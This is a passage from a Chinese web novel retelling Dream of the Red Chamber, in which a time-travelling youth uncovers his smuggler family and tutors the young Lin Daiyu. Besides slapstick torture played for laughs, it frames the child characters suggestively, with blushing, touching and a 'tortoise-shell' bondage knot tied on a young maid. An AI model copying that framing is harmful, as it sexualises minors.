大和尚见李素依然没有表示,于是继续说道:“你小时候,生下来娘就死了,你爹出去跑买卖,无奈只好放给无儿无女的李老爷夫妇照应,一来二去你爹经常不着家,干脆就让李老爷夫妇认下你做个假子。” “后来随着你长大,见你嫉恶如仇的痴呆性子,你爹更不敢见你了,怕你敌视,两个人都难过,干脆就想着等你以后再大一些再说。” 李素冷哼道:“那现在你怎么来了?还敢挑明了身份?” 大和尚无奈道:“那不是你入道了么?大当家的听说以后就急了,他在刀口上讨生活半辈子,隐姓埋名,就指着你读书做官,光宗耀祖呢,怎么能看着你下了道。” “不许鄙视道家!那你挑明身份怎么说?” “那是我见你那一通操作,还有中午时候见面儿的伶俐劲儿,不像个傻子,痴子,才……” 李素默默的把筷子又插进了他的鼻孔里。 “哎呦,错了,错了,我是痴子!傻子!”大和尚求饶起来。 “我怎么能相信你说的是真的?” “有痣,你脚底板三颗痣!” 李素懵了一下,急忙脱鞋,然后凑到灯下看,没有! “错了,左脚!” 李素又脱下左脚的鞋子。 果然! 李素有点儿懵。 我是不是应该戴个金箍儿? 那黛玉怎么办? 他心思飘飘忽忽……沉默了下来,屋里剩下和尚的蠕动声,灯花不时发出的爆裂声。 第12章 瞧我娘作甚? “素,素哥儿?”大和尚见李素久久无言,但他受不了了,脸上痒的要命。 见地上一旁狼藉的菜跟破裂的食盒,他也明白自己是遭了什么罪。 遇到这么个小当家,除了自认倒霉,还能如何? 求饶吧。 李素缓过神儿,先不去想金箍儿的事儿,“放心,一会儿就放了你。我爹的买卖做的有多大?老窝儿在哪儿?” 大和尚听到这里眉飞色舞:“少当家,不是跟你吹,咱家的私盐做的最大,头一号儿,南北十三省绿林道上,谁不知道盐龙名号?老窝有好几处,最近在泰州。” “切!弄个私盐,还骄傲上了!这么牛逼连面儿都不敢露?” “呃……”大和尚觉得这少当家,是真不好说话,就像大当家的拳头一样。 “我爹长的帅不帅?” “啥?” “容貌!好不好看?” “比不得少当家,你类母。” “别叫我少当家,我母亲姓名是什么?娘家可有人?” “不知,当年你母亲是大当家捡来的,好像失了记忆,不知姓名,但看的出是大户官宦家的小姐,十分美貌……啊!少当家,素哥,别戳!” 李素用筷子又戳了两下,这次用的劲儿大,随后他冷声喝道:“你瞧我娘作甚?该死的东西!” “我……我不瞎啊……呜。”大和尚这回被李素把眼泪都给戳出来了。 李素拍拍手,站了起来:“好了,说说你吧。” “我白天说过了,都是真的,我现在主要负责打探消息,所以就在万寿寺挂单,好几年了。” “你今天说的话,都属实?可别骗我这个老实人!” 大和尚急道:“属实!属实!没有半点隐瞒!” 随着大和尚声音落下,李素出了屋,奔向厨房拿了一把刀。 大和尚正疑惑李素出门做什么了,忽见他回来了,手里拿着明晃晃的刀,吓得一哆嗦,就要呼喊求饶。 “闭嘴,老子给你松绑。” “啊?您解开不就行了?” “死扣!我也解不开,忘记怎么系上的了,你屁话真多。” 李素蹲下,膝盖顶着他背上,把菜刀插进被单子的缝隙,开始拉了起来。 在大和尚提心吊胆的漫长等待里,终于被拉开了。 他终于松了一口气,也对李素产生了前所未有的敬畏。 一个十六岁的半大孩子竟然就把自己干倒了,这还不算什么。后面审问手段,以及他看自己时露出的杀气,让人不寒而栗,那种杀气以他这个江湖老手看来,一点儿也做不得假! 这让他有些疑惑,他这些手段哪来的?杀机哪来的?最最难得还是前面,造流言变神仙不说,竟然进了巡盐御史府中做了西席。 这翻手云雨的手段,在他看来即使大当家也比不得。 中午他为什么偷偷摸摸的进了房间?就是怀疑自己是不是认错人了,所以要看脚底板的痣,确认李素的身份。 是真的! 只能说除了遗传大当家夫妇的天赋,再就是天生不凡了! “起来!把屋子收拾了,然后再去弄一桌菜,怎么说怎么做,不用我教吧。” “明白,交给我了!”和尚起身,活动了一下自己僵麻的身子。 忽然李素注意到和尚的一只赤脚,他猛的好像想起了什么,急忙说道:“对了,你先出去一趟,去雨村先生的院儿门口,现在,立刻!” “啊?为……” “别问原因,赶紧滚!” 大和尚只好照做,一阵风似的出了屋门,很快来到了西跨院儿,贾雨村的院门儿口。他有点儿迷糊,往里又走了两步。 只见贾雨村,贾先生正在院子里月下独酌,石桌上摆了几个小菜。 贾雨村看见这个锃亮的大光头,有些疑惑,接着又看到他脸上血池呼啦的,还挂着菜叶儿,他甚至认出了韭菜,苋菜。 真是个恶心的和尚。 “你……” 大和尚心里也正疑惑自己少当家的目的,忽感自己的右脚有些凉,就没在意贾雨村的话,还不自觉的向前走了两步。 他低头一看,才反应过来,自己的鞋呢?袜子呢? 他不自觉的嗅了嗅鼻子,心里咯噔一下,刚才堵住自己嘴巴的是? 自己可是大汗脚! 他接着胃里酸水就往上翻,再也憋不住了。 噗! 这一下喷出,贾雨村可就倒了霉,像下雨一样,纷纷洒洒的朝着他就盖了过来。 只见他的身上,脸上,酒杯里,饭菜中,都被淋了个遍。 虽然不多,但无一处没有。 但大和尚还没完,接着就连续,哇!哇!哇……吐了起来。 而贾雨村被连声的呕吐,不知勾起了什么不好的回忆,肠胃翻涌,扶着桌子也哇……哇…… 二人此起彼伏,直到都吐不出什么东西了。 大和尚毕竟身体素质要好的多,最先站起身来,随手扯着贾雨村的衣襟擦了一把脸。 随后对他拱了拱手,也不说话,就出了院门儿! 贾雨村本就虚弱了,这么着被和尚搞了一把,气急攻心,两眼一翻晕了过去。 注定他要在月下休眠了。 而他的丫鬟小翠,上午被他那个鼻涕泡儿给吓得,躲了他一天了。 大和尚磨蹭着回了李素的院儿里,见根本就没有人,屋里依然狼藉,只是桌上留有一张纸条。 上面写着:洗三遍澡,屋里擦洗三遍,来聚仙楼找我,小侄给你接风洗尘! 没有落款。 大和尚看前面两句心里还有些怨念,而看到最后一句,让他心中忽然一暖。 李无色干劲儿十足,抄起家伙就忙活起来。 李素出了林府,就溜溜达达去了不远处的聚仙楼,此时竟然还有不少人在觥筹交错的吃喝。 他要了一个二楼靠窗的包厢,就点好了菜等着李无色。 临窗看着远处的万家灯火,李素不禁感慨命运之奇,兜兜转转,自己竟然是个黑二代,超级有钱,见不得光的那种。 这股力量应该不小,也不知道李固多大年龄了,自己是不是可以很快继承家业。 他思绪万千,脑子里像跑马灯一样。 得抽空跟李固见上一面,盐枭可不是个好出路,这力量也不好用,太怕光了! 洗白,还能壮大才是正道。 第13章 林府夜话 林如海拖着疲惫的身子,回到了家里。 坐在椅子上,闭目养神。 贾敏看着有些心疼:“老爷,官面儿上的事儿,不是一天可以做完的,如此操劳,可不是长久之计啊。” 林如海摆摆手,摇头不言。 贾敏知道他不想谈论外面的事儿,于是挥了挥手,丫鬟端着水盆过来,蹲下身小心翼翼的给林如海脱了官靴,随后把脚放进了温水里,慢慢洗了起来。 林如海何尝不知贾敏的话有道理? 但是他是皇帝的肱骨,派他来江南坐这位低权重的位子,是有着天大的重托的。 而且也是为他养望,政绩卓著就可一飞冲天,登上更高的位子,更好的辅佐天子。 这重托,无他,盐税耳。 他来扬州之前,朝廷盐税岁入不到二百万两,这几年通过他的努力,已经岁入达到了四百万两。 但,这不够! 朝廷现在,外有建奴边患,九边军费开支,靡费甚巨。内有旱涝之患,黎庶多艰。 且吏治腐坏,勋贵横行手握军权,又占有朝廷大半财富和资源。 头顶上还有一个太上皇。 所以自己再难,也没有皇帝难,他受内外掣肘,枷锁重重,巧妇难为无米之炊,一切都需要银子。 可以说,自己系皇帝命脉托付之所在,只有鞠躬尽瘁死而后已,以报知遇之恩。 自己可以豁出去,但他心里唯一放不下的就是女儿黛玉,人到中年,只得这一孤女,他虽不善表达,但心中却是对黛玉疼到骨子里的。 奈何她身子太弱,不是长寿之相。而且他也看出来了,黛玉又是致情之性。 情深不寿啊! “妙言,夫人可见过了?”林如海忽道,他虽然没有过多表示,但心中是十分在意李素的,真的希望他能帮助女儿。 “还未曾见。”听丈夫提起李素,又想起黛玉和雪雁这两个小丫头的春心萌动却不自知的糗事,贾敏不由得笑了出来。 “夫人何故发笑?” 贾敏于是笑着,把事情原原本本的给林如海描述了一遍。 还没等林如海说话,正在给林如海洗脚的丫鬟,夏荷听完却绷不住了,“噗嗤“笑了出来。 “……啊,老爷,夫人奴婢错了。” 林如海摇头失笑:“你下去吧。” 夏荷闻言赶紧给林如海擦洗干净,端着盆子出去了。 贾敏走到林如海身后,伸手给他按起了太阳穴,同时缓缓说道:“老爷,妾身自入你林家,多年未曾生下儿子,导致林家四代列侯传续就要……就要绝……” “夫人!不要说了,不怪你!”林如海睁开了眼睛。 贾敏哀伤道:“我知你不怪我,但我却难以释怀,我死后如何有脸面见林家列祖列宗。”说着贾敏就垂下泪来。 “你给我挑的那几个妾室,不也是无所出?”林如海试图再劝。 贾敏不认同:“那也是妾身的错,错在这个主母做的不合格,没有早早给你纳妾,错在选的那些女子不合你意,致使你一个月下来,还见不了人家一次。” 林如海沉默了一会儿:“夫人,今日为何提起此事?” “我闻听那李素,双亲都不在了,如果配给玉儿……以后有子能姓林的话,那林家祭祀不绝。” “夫人,不要说了,此事万万不要提起,否则成仇矣!” “啊?” 贾敏不解。 林如海于是给她解释道:“夫人是没有见到李素其人,见了你就知道了,这是个胸中极有主见,且心有丘壑的孩子。贾时飞也算一时俊杰了,还做过官,见多识广,但却被李素压的毫无存在。” “而且,还竟然挑动了我的情绪,导致我三次失控!” “你想,这样的人,定会一飞冲天的,岂是能随便受他人所左右的?我只求他以后能够回护玉儿一二,就知足了。” “竟如此……”贾敏少有见到,骄傲的林如海如此推崇一人。 林如海点点头,心中也有遗憾,若是李素没有那么优秀,自己夫人的提议未尝不可一试。 如果李素带着个偷听心声的系统,此刻定然颠颠的跑过来说,你试试,我很容易就会被说服的,一定十分主动。 可惜他不是,现如今对他来说,只算是带了个字幕过来。 “唉,每日里,我都会想起,有一天你我不在了,林家那些外宗的人来吃我们的绝户,欺负我们的玉儿,一想起来……我。”贾敏说着就哭了起来。 林如海心疼的把自己夫人拉过来,牵着她的手说道:“我把家产都送到贾府,也不会给那些个白眼儿狼。” “唉……谁又知道,我那哥哥们,嫂嫂们,是不是白眼儿狼呢?”贾敏想到了自己那个藏奸的二嫂。 “玉儿睡下了么?”林如海忽然问道。 “我刚去看过,今日里睡态安稳,比往日里强了不少 。” 而李素已经在聚仙楼招待完了李无色,开始往回走了。 李无色一边打着酒嗝,一边拍着胸脯发誓:“小爷,呸!素哥儿,我不是吹牛,帮里那一千多号崽子,谁见了不叫我一声佛爷?” “我爹也叫你佛爷?” “那,哈,那他不叫。” “他叫你啥?” “……嗯。”李无色面色忽然有些涨红了,嗯了一声不说话了,牛逼也不吹了。 “他叫你啥?” “嗯。” “你敢不回我的话?”李素嘴角一勾,笑着看他,眼神极为平静。 李和尚见他似笑非笑的表情,心中忽然打了个突,忸怩了一下说道:“大……嗯。” “什么?我不再问第二遍。” 大和尚又看了看李素,感觉他眼睛里好像藏了刀,于是他咬了咬牙,低声道:“李大腚!” “听不见!” “李大腚!” “我说,我他妈,听不见!” “李大腚!李大腚!李大腚!”和尚快疯了,大声的喊了起来。 “呃,你早说,我不就听见了,回府睡觉!” 李素哈哈一笑,大步流星向前。 “谁他娘的大晚上不睡觉,叫你娘的腚啊!” 街边不知道哪户人家,传来了骂骂咧咧的声音。 大和尚气的就要去踹门,他刀头舔血,何时让人骂不还口了? 但见李素就像看不见他一样,任由他去踹门,于是顿时泄了气,快速跟上了李素的脚步。 但心中不忿,还是回头高声骂了一句:“我日你娘的腚!” 第14章 姣花照水 夜半,李素再次惊醒了。 还是那核爆的场景,李素剧烈喘息着,爬下了床跌跌撞撞走到外间。 借着明亮的月光,摸到了茶壶,猛的就往嘴里灌。 因为手发抖,茶水顺着嘴角都流了下来,跟身上的冷汗混在了一起,十分狼狈。 李素苦恼捶了捶自己的脑袋。 自己已经远离了那个世界,而且以这个世界的发展,他算着即使自己活两百岁也看不到核弹出现的那一天,这是为何啊? 按照李素的了解,这个时期大约是十七世纪,北方建奴正在崛起。 这个世界跟原来世界大明以前都一样,而不同的是,在明朝嘉靖年末拐了弯儿,遭遇了大规模的农民起义,一举推翻了大明,李氏建立了大周。 再其他的,他就不太清楚了。 李素又看了看糟心的系统。 激活条件二:林黛玉倒拔垂杨柳! 头疼,李素又捶了一下脑袋。 忽然他灵光一闪,要不弄个小树苗让林妹妹拔一拔试试看? 就这么办! 李素想到这里,心中舒服了些。于是放下水壶,进了里间榻上,不多时就再次沉沉的睡去了。 清晨,太阳还未出来,天刚蒙蒙发亮。 穿戴整齐的李素,就出了林府,沿着林府一圈一圈的跑了起来,先活跃开自己的身子,缓步恢复,等身体长肉,再开始做器械。 过了大约半个时辰,太阳跃出地平线的时候,李素回了自己的院子,快速的冲洗了一下,换了一身新衣。 大和尚这时候也起来了,忙着给李素泡了一壶茶。 “去问问林姑娘,什么时候到?” “是。”大和尚刚往外走,就听到外面脚步声起。 是黛玉和雪雁到了。 李素从厅中往外看去。 只见黛玉主仆二人进了院子。 清晨的阳光,泛着金黄色的光,打在黛玉的身上,这小小的人儿,竟袅袅娜娜,竟像是画中走出来的。 如姣花照水,似弱柳扶风。 再细看,两弯似蹙非蹙罥烟眉,一双似喜非喜含露目。 李素叹息,谁懂啊? 这样的姑娘,让人感到大声呼吸都不忍心,因为怕会呼吸声大了,会惊吓到她。 就像是蒲公英、天鹅绒、清晨的露珠……李素觉得那些词都无法完整的表达出黛玉的美,黛玉的气质,他词穷了。 看来还要学习。 李素观察到的好现象是,黛玉现在还没有两靥之愁,娇袭之病。 她还在过着一个欢乐的童年。 面如玉,两靥粉。 黛玉远远就看到了李素在厅中,她似羞还喜的望着李素,随后轻轻袅袅的走到李素面前,又抬眼轻瞧了他。 “小……师父。”随着一声轻呼,服了一礼。 “小……神仙。”噗通,雪雁跪了下来。 李素头大。 这俩人唱的哪一出儿? 一个叫师父,前面加个小。 一个叫神仙,前面加个小不算,还跪下了。 “你先说,为什么跪下了?”李素打算先解决这个跪的。 雪雁急道:“求小神仙收了法力吧。” “什么法力?”李素疑惑不解,这哪跟哪儿啊,今天又没捉蝴蝶。 “就是,一看你,心就怦怦跳,很快。”雪雁边说边伸出小手,来回拍打着比划。 李素没明白,瞧了一眼黛玉,只见黛玉好像在看他,见他望过来,就像个受惊的小兔子一样,瞬间躲开了李素的目光。 李素恍然大悟,这是自己把她们给帅到了! 于是他强忍着笑,伸手一把拉起了雪雁,随后又拍了拍她的肩膀,夸赞了一句:“真壮实!” 接着他捋了捋不存在胡须,对两个人说道:“你们也听说了,我刚成了琼花观的小神仙对不对?” 黛玉微微颔首,雪雁猛点头,点的特别狠。 “所以我刚突破,法力还做不到收发自如,让你们受了一些影响,但这只是暂时的,等我的功法再进一步,达到……” “圆满么?”黛玉忽然接话。 “玉儿怎么知道的?” 黛玉又瞧了一眼李素,捻声答道:“小……小师父送我的《蛰龙法》中有言,初有光,照四方,光藏匣中,圆满无漏。” “你都背下来了?”李素惊讶问道,没在意她的小小称呼。 “嗯。” “三本书?” “嗯。” “过目不忘?” “嗯。” “斯国一!” 黛玉羞了一下,道:“嗯,小……小师父过誉了。” “这你也懂?”李素真的是太吃惊了。 “曾有倭人,来拜访父亲,我学了一些。” 李素感慨,学 霸啊,怪不得原著中,贾雨村只教授了黛玉一年,但黛玉诗词文章却如此优秀,这是早慧! 但,早慧必伤,情深不寿! 她占全了! 想到这里,李素不由得心中怜意再起。 黛玉见李素不说话了,再次抬眼瞧他,发现了他眼中传来的莫名的情绪,心中一暖,头赶紧又低了下去,不太敢看了。 小师父大约好似,又施法了! 李素见此,心说不能再撩孩子了,正事儿要紧,他收起心中的情绪。 “我说两点大事。”李素伸出两根手指。 “第一,玉儿,你叫我小小师父是什么意思?” 黛玉看着李素,眼中做茫然状:“我说了么?不记得了呢。” 李素看向她,心说这是林黛玉么?还有这惫懒的性子? 随后他看向了雪雁。 雪雁也茫然的看着他:“我家姑娘没说啊?小神仙是不是记错了?” 李素闻言,都气笑了:“行!你们俩果然是一个团伙儿的。” 无奈暂且按下此事,心说以后有的是机会算账。 接着说道:“第二,常日里玉儿要少读书,要少用脑,多动手,就像雪雁一样,你看她多壮实。” “为什么?” “书籍浩如烟海,一生都读不完,但身子在你这个年龄却是最好的打基础时期,错过了就没有机会了,所以玉儿,你要放下书本,能做到么?” 黛玉想了想,理解了李素的意思,于是点头道:“就依着师父,只是雨村先生那里?” “我会跟他说的,以后他教授的课业改为各类典故讲解。” 黛玉眼神一亮,她喜欢。 忽然她开口道:“小,呃……师父是怎么知道雪雁没有脑子的?” “有脑子的人,谁能说出蝴蝶吃人的话?”李素笑着说道。 黛玉一怔,心说,果然昨日里小师父去了中院儿,雪雁昨日里是个老实人。 不老实的,哼哼。 第15章 白云出岫 不老实的,秋菊算一个,偷进中院的小师父更算一个! 李素拍了拍手,把走神儿的黛玉拉回了现实。 “好了,大事儿说完,开始今日的晨课,跟我来。”说着李素自顾走到了院子中间儿。 主仆二人闻言,顿时表情认真起来,亦步亦趋的跟过来。 “站好。” 二人立刻学李素一般站好,随后抿着嘴,绷着腿,瞪着眼紧张的看着李素,期待着学法。 看着这两个粉妆玉琢的大萝莉,如此模样,李素差点儿笑出来。 “这是一套壮身操术,你们每日里都要来练习,现在跟我学。” 二人点头。 “预备起!” “一、二、三、四、二、二三四……” 李素一板一眼的教授起来,虽然他也不记得这是哪一套广播体操了,但像黛玉现在的身子骨,用这个来活动身子是很有用的。 “玉儿,你手臂不对,伸直……向前…向前…不是向上!” “雪雁,很好!” “玉儿,玉儿……左!左!……那边是右!……反了!” “后,后,抬腿!不是勾脚!” “转身不是扭头……” 无奈的李素,无奈的上手了! 纤纤素手,恍若无骨! 李素赶紧收心! “一……二……三四……” “抬腿……” “收腹……” …… 黛玉只觉得的自己的心快要跳出嗓子眼儿了,脑袋也晕乎乎的。 感觉快要受不住了,于是勉力控制着自己的恍惚的心神,黛玉小声说道:“师……师父,我会了。” 要不是李素离得近,差点儿没听见。 李素拿开放在她小腹上的手,离开了一些距离。 只见她香汗淋漓,小脸红扑扑的,不知是羞的,还是累的。 臻首微垂,小脚尖尖,来回的蹭地。 “小神仙,我怎么样?”雪雁把一套操舞的虎虎生风,见李素半天没对她说话了,于是开口急切的问话。 李素头也没回道:“你,厉害,回去教教你家姑娘。” 雪雁闻言停了下来,咧着嘴笑了:“好!” 黛玉闻言,身子一顿,抠地的脚丫也停了下来,表情有些失落。 正盯着她瞧的李素见状,凑到了她耳边轻声道:“这个操舞的名字,叫无脑操!” 黛玉见李素凑过来,本能的心中又是一紧,但听到他的话,瞬间就回过味儿来。 只见黛玉先是微微一怔,紧接着“噗嗤!”一声轻笑便从她那樱桃小嘴中传了出来。这笑声犹如春日里绽放的花朵一般,轻盈而又悦耳。 随后她伸手捂住了自己的樱口,似嗔还羞的瞥了一眼李素,好似在怪他说自己的丫鬟蠢。 但心里又觉得李素说的有道理,于是她那双似秋水般灵动的眼眸轻轻一转,便瞧向了一旁正傻呵呵地笑着的雪雁。 见雪雁那嘴角都快咧到耳根子去了,傻傻的。 黛玉忍不住又是一阵银铃般的笑声响起。 见自家姑娘笑,雪雁也跟着再次笑起来。 周围的空气好似都变得欢快起来。 …… 待得黛玉又舞了一遍,磕磕绊绊总算差不多了,李素就让她们去吃早饭。 “小……小师父,我们去了。” “嗯,嗯?林黛玉!”李素瞪眼。 黛玉就当没听见,带着雪雁就匆匆出了院子。 李素摇了摇头,就欲转身回屋。 就听院外,黛玉和雪雁奔跑娇笑的声音传来,俄而远去了。 这丫头,真如天边那白云!变幻万端。 李素在院子里站了一会儿,不知道在想什么,直到和尚叫他,才回了屋子。 只见和尚都打好了洗漱的水,把毛巾递给他,李素摆了摆手,他今天不想洗手了。 直接就坐下吃和尚送来的早饭,等吃完,他擦了擦嘴说道:“你去办两件事。” “素哥儿您说。” “首先我要跟老头子见一面,你看着安排。” 李无色点头应下:“好。” “第二件事,去给买点儿树苗,柳树,要活的,要有垂枝。买回来以后栽到院子里,别埋太深,就是林姑娘那个体格儿能拔出来就好。” “好。” 安排正事,李无色也不多话,不多问,这让李素很满意。 “去吧。” 李无色拱了拱手,匆匆去了。 等他走了,李素饮了一盏茶,抬步出了自己的院子,就奔对面邻居家而去。 刚进院子,就大呼起来:“时飞贤兄,时飞贤兄……你在吗?” 没动静? 李素于是就往正房闯,刚到门口儿,就见里面一个翠绿的身影往外走,他 急忙闪在一旁。 是小翠! 小翠见是李素,连忙行了个礼:“小神仙。” “嗯,贾先生呢?” 小翠恭敬回道:“贾先生病了,在屋里已经睡下了。” 李素听到这话,不急着见他了,万一是个传染的病,岂不是倒霉?于是他往外面又退了两步问道:“什么病?” “上吐下泻和风寒,大夫已经瞧过了。” 李素奇道:“吃坏了肚子么?怎么得的?饭食可都是一样的。” “奴婢也不知道,只是早晨的时候,见雨村先生躺在院子里,地上身上全都是呕吐的秽物。” 接着小翠眉头轻皱:“只是他醒过来的时候,说着什么和尚不当人子,什么从什么庙开始就不当人子之类的胡话。” 李素心念电转,猜了个八九不离十,估摸着就是昨晚李无色搞的鬼。 “行吧,我就不打扰他了。”李素说着就往外走。 刚刚踏出西跨院儿的院门,视线便被一道急匆匆的身影吸引住了。只见林忠迈着急促而又略带踉跄的步伐,一路小跑着从外面冲进了院子里。 紧跟在林忠身后的,是四名身材魁梧、威风凛凛的差人。他们身着一袭精致的飞鱼服,衣袂飘飘间散发出一种令人敬畏的气息。腰间横跨着雁翎刀。 这两人的脚步异常沉重,他们的面庞冷峻,毫无表情,浑身上下散发着一股逼人的煞气,让人不寒而栗。 这是杀过人的!而且杀过不少! 战场打过滚儿的李素,瞬间就判断出这四人底子,危险的气息令他的肌肉不自觉的绷紧,站在原地不动。 林忠也不及和李素打招呼,直接带着他们往正堂而去。 四人中的其中一人,路过李素身边的时候,打眼瞥了他一眼。 表情一愣,忽然停了下来,手握刀柄盯着他道:“你是何人?”声音有一种撕裂感,让人极度不适。 “李素!”李素笑着答道。 “姓李?” “姓李!” 第16章 心猿意马 “这是林府,你姓李?” “大人,大人,此乃我家姑娘的师父。”林忠见状赶紧回头过来解释。 “哈哈哈,那就妥了!”这人说完就不再看李素,往屋里走去。 打头的差人却朝着林忠一拱手:“林管家,抱歉了,我这兄弟原来在查检司供职,向来心思多一些。” “无碍的,请正堂奉茶,我这就去请老爷。”林忠连忙摆手,随后他悄悄的给了李素一个歉意的眼神。 李素含笑,转身走向了自己的院子。 心说,林如海要来事儿了。 李素回到屋里,开始忙自己的正事儿。现在已经入秋,距离明年的秋闱还有一年的时间,这一年对李素来说至关重要,必须要中举,出名趁早在这个时代可不是说说的。 万幸,前身给李素留了一脑袋四书五经。 否则从头学起,枯燥不说,没有跟过这样的学习环境,不在这个学习体系里熏陶,即使把书背全了,也难在科场中出头。 这个时代的科举,跟前明一脉相承。 他给自己定的路子,就是背书,然后仿写名卷,最后形成自己独有的思想,独有的表述风格。 李素从一摞历代科场名卷中,抽出一份。 冒头·破题:治道隆于一世,政柄统于一人。 这说的是集权。 再看冒头·承题:夫政之所在,治之所在也。礼乐征伐,皆统于天子,非天下有道之世而何哉? 前面是自己的观点,后面这句承题出自《论语》,孔子曰:“天下有道,则礼乐征伐自天子出。” 紧扣中心思想。 孔子这句话后面还有半句:“天下无道,则礼乐征伐自诸侯出。” 牛逼,李素击节赞叹! 首先是非常正的写法,上来就用《论语》,孔子说的话,谁都不可辩驳,这在科场上就是大道,这就是牛逼应试方法。 其次,在呼应主题的政治正确,政柄统于一人,这一人显然就是指的皇帝,天子。自天子出就是正道。 政令不从天子出,就是无道。 归根结底,先表明政治正确的态度。这就是考试的方法,立场比方法重要,立场不对,再有才也没用。 忽然李素一怔,想到了现在朝廷的情况,二日凌空,老皇帝和新皇帝之间的权力相分,搞不好皇帝也会出个类似的题目。 接着他继续看了下去。 这一坐就是两个时辰,和尚在院子里,吭哧吭哧的刨坑儿他都没有发觉。 李素正在抄写试卷的时候,忽的发觉眼前光线一暗。 他抬头一看,只见是林如海站在了前面,正在低头看他写试卷。 李素连忙起身:“大人!您怎么来了?” “妙言写的一手好字啊。” “大人谬赞了,您请坐。”李素连忙让出了自己主位。 林如海摆摆手,坐在了一旁的椅子上,微笑看他:“你坐,今日里飞鱼卫冲撞了你,我来瞧瞧。没想到你心无旁骛,这是读卷遇到知音了?” “还真是,大开眼界。”李素说着走到一旁,给林如海倒了一盏茶,放到了他面前。 林如海拿起茶盏抿了一口,笑道:“你这份名卷可是黄子澄的大作,当然让人看了如饮琼浆,读之忘怀。” “他?”李素诧异,黄子澄他当然知道,大名鼎鼎的前明朱允炆奶爸,帮着朱允炆一起把江山丢给四爷了。 “是他。”林如海点头,随后话锋一转:“今日玉儿早晨多吃了半碗饭,多赖妙言使力。” 李素摆手道:“不说这是我职责所在,就说我与玉儿的缘分,必要帮她好起来。” “如此,我就放心了。”林如海听罢大为熨帖,对女儿的担忧又去了大半。 “大人,不知飞鱼卫是?” 林如海沉吟了一下:“你以后也是要入官场的,跟你说说也无妨。飞鱼卫就类似前朝锦衣卫,归皇上直接统辖,也是皇上的私军,监察百官,有临机决断之权。” 李素心下了然,怪不得如此煞气。 林如海说完沉默了下来,手里拿着茶盏转来转去。 竟然走神儿了。 李素也不打扰,心思却来回转动,这大概是皇帝给林如海施压了,林如海主要的职责是盐税,那么看来应该是皇帝又缺钱了。 林如海忽然晃过神儿来,发现自己刚才竟然在这里思索起公事了,抬眼看了看眼前如玉少年,一身静气,自己更生喜爱,心想若是配与玉儿,真是大好事。 看时间不早,于是站起身来道:“妙言,外道话,我就不说了,你晚些时候来我书房,我把科场诸事给你说道说道。” 李素闻言大喜,这就是传道了。 于是躬身一礼,打蛇随棍上:“如此,多谢老师。” “哈哈哈,你……唉,那就各论各的吧。”林如海大笑,又摇摇头。 李素也笑 。 林如海笑着转身往外走,李素连忙起身相送。 走到门口,林如海忽然停下脚步说道:“刚才那一份卷子,其中政柄统于一人这类的文论,不要再看了。” “为什么?”李素不解。 林如海低声道:“你是否认为皇上会出这样的题?” 李素点头:“难道不应该吗?” 林如海摇摇头:“你是只知其一不知其二,如若皇上完全掌握了军权,或许会出,但谁写出政权归于天子的话,前途也会完了。” 李素皱着眉头,他明白皇帝没有完整的军权,就不敢撕破脸,毕竟太上皇的大义高于他。 原因李素也清楚,是孝道! 但有了底气……嘶!他看向了林如海,脱口而出:“晁错?” 林如海笑了,对李素的悟性大为赞赏,于是开口说道:“虽不中,但亦不远矣!哈哈哈。” 送走大笑离开的林如海,李素内心大受震动,这就是政治!太有意思了,得了一些边角的弯弯绕,李素非但没有怕,反而涌起了无边的斗志。 他好像被打了一支兴奋剂,整个人的血液都开始沸腾了,怪不得老人家说,与人斗其乐无穷! 中午后宅饭桌上,林如海心情大好,也多吃了一碗饭。 “父亲,可是遇到什么好事儿了?”黛玉见状开口道。 林如海见黛玉眨着水汪汪的眼睛盯着自己,再次大笑起来:“还不是你师父。” “他?”黛玉眼皮一耷,心里却转起了八百个乱七八糟的念头。 心猿意马。 第17章 吾好梦中绑人 送林如海离开后,李素就注意到了院子里栽成一排的又矮又挫柳树。 都带着垂条柳枝。 高度不等,最矮的大约到自己的膝盖,最高的跟黛玉差不多。 树干的粗细与黛玉的手腕类似,早晨授课做操的时候,他借机测量过,心里有数。 李素蹲下仔细看,竟然还浇水了。 “和尚,来一下!” 听到李素的喊声,李无色闻言从屋里颠颠儿的跑了过来,狗腿模样笑道:“素哥儿,您叫我。” 李素指着眼前的一排柳树说道:“怎么都这般粗?没有细的?” 李无色一摊手:“我的少爷,不是我和尚不尽心,细的真没有找到带垂枝的。” “行吧,吃饭。”李素拍了拍手,站起身来回屋了。 今日中午,李素多睡了一会儿。 自然醒。 昨天吟诗,冒出个和尚,今天矜持了许多。 午后,暖暖的阳光洒进屋里,伴着秋蝉有气无力的叫声,一副岁月静好的安宁,这让李素有点儿想赖床。 但院子里传来的脚步声,打碎了他的想法。 徒弟来了! 听动静,还有她的小跟班儿。 他赶紧从榻上下来,穿戴好衣服,黛玉和雪雁进了正堂的时候,李素还没系好自己的腰带,他干脆就随意盘了一下。 黛玉进屋行礼:“小……” 李素眼睛一瞪:“林黛玉,你再敢叫我小师父?” “小徒黛玉,见过师父。”黛玉一本正经的行过礼后,水汪汪的眼睛诧异的看着李素:“师父是不是误会了什么?” 接着她发现李素的腰间束带,竟然松垮下来,于是心里忍住笑,偷偷向雪雁努了努嘴。 随后不待李素回话,悠悠的继续说道:“喔,原来是我来早了,扰人歇息了,讨人嫌了?” 接着一转身道:“雪雁,咱们走吧,人家是师父,咱们可扰不得,更说不得。” 说完这话,眼圈儿竟然有些发红了! 李素心说,错了,自己真的错了!这林妹妹哪还有那不胜凉风的娇羞? 简直就是个大戏精。 岂料雪雁并未随着黛玉的话,跟着她走,而是大呼一声:“姑娘,看我的。”边说着三步并作两步,走到李素跟前,就在李素目瞪口呆之际,双手抓住了他腰中束带! “你要作甚?”李素大惊,连忙摁住雪雁的手。 “帮小神仙清醒清醒,你松手。” “不必,我很清醒,你松手!” “不松!” “松手!” 李素急了,恶相胆边生,右手一抽,直接把束带抽了出来,随后抓住雪雁的胳膊一扭,把她的手扭在了背后。 就在一旁黛玉发呆愣神的功夫,李素三下五除二,用自己的带子就把雪雁给绑了起来。 龟甲缚! 幸好带子够长,雪雁身量矮小,不然还绑不出这个花儿了。 李素拍了拍手,随后见雪雁张嘴还想说话,他又补了一句:“不许说话,再说话,往你嘴里塞虫子。” 雪雁闻言,嘴巴立刻抿了起来。 看着被绑的跪坐在地上的雪雁,不敢出声儿,在那里挣扎蛄蛹,心里畅快多了。 随后黛玉凶道:“你再阴阳怪气,也绑你!” “玉儿错了。”黛玉吓得果断低头认怂。 李素见状心中大爽,回身坐在椅子上,语气威严:“玉儿给为师斟茶。” 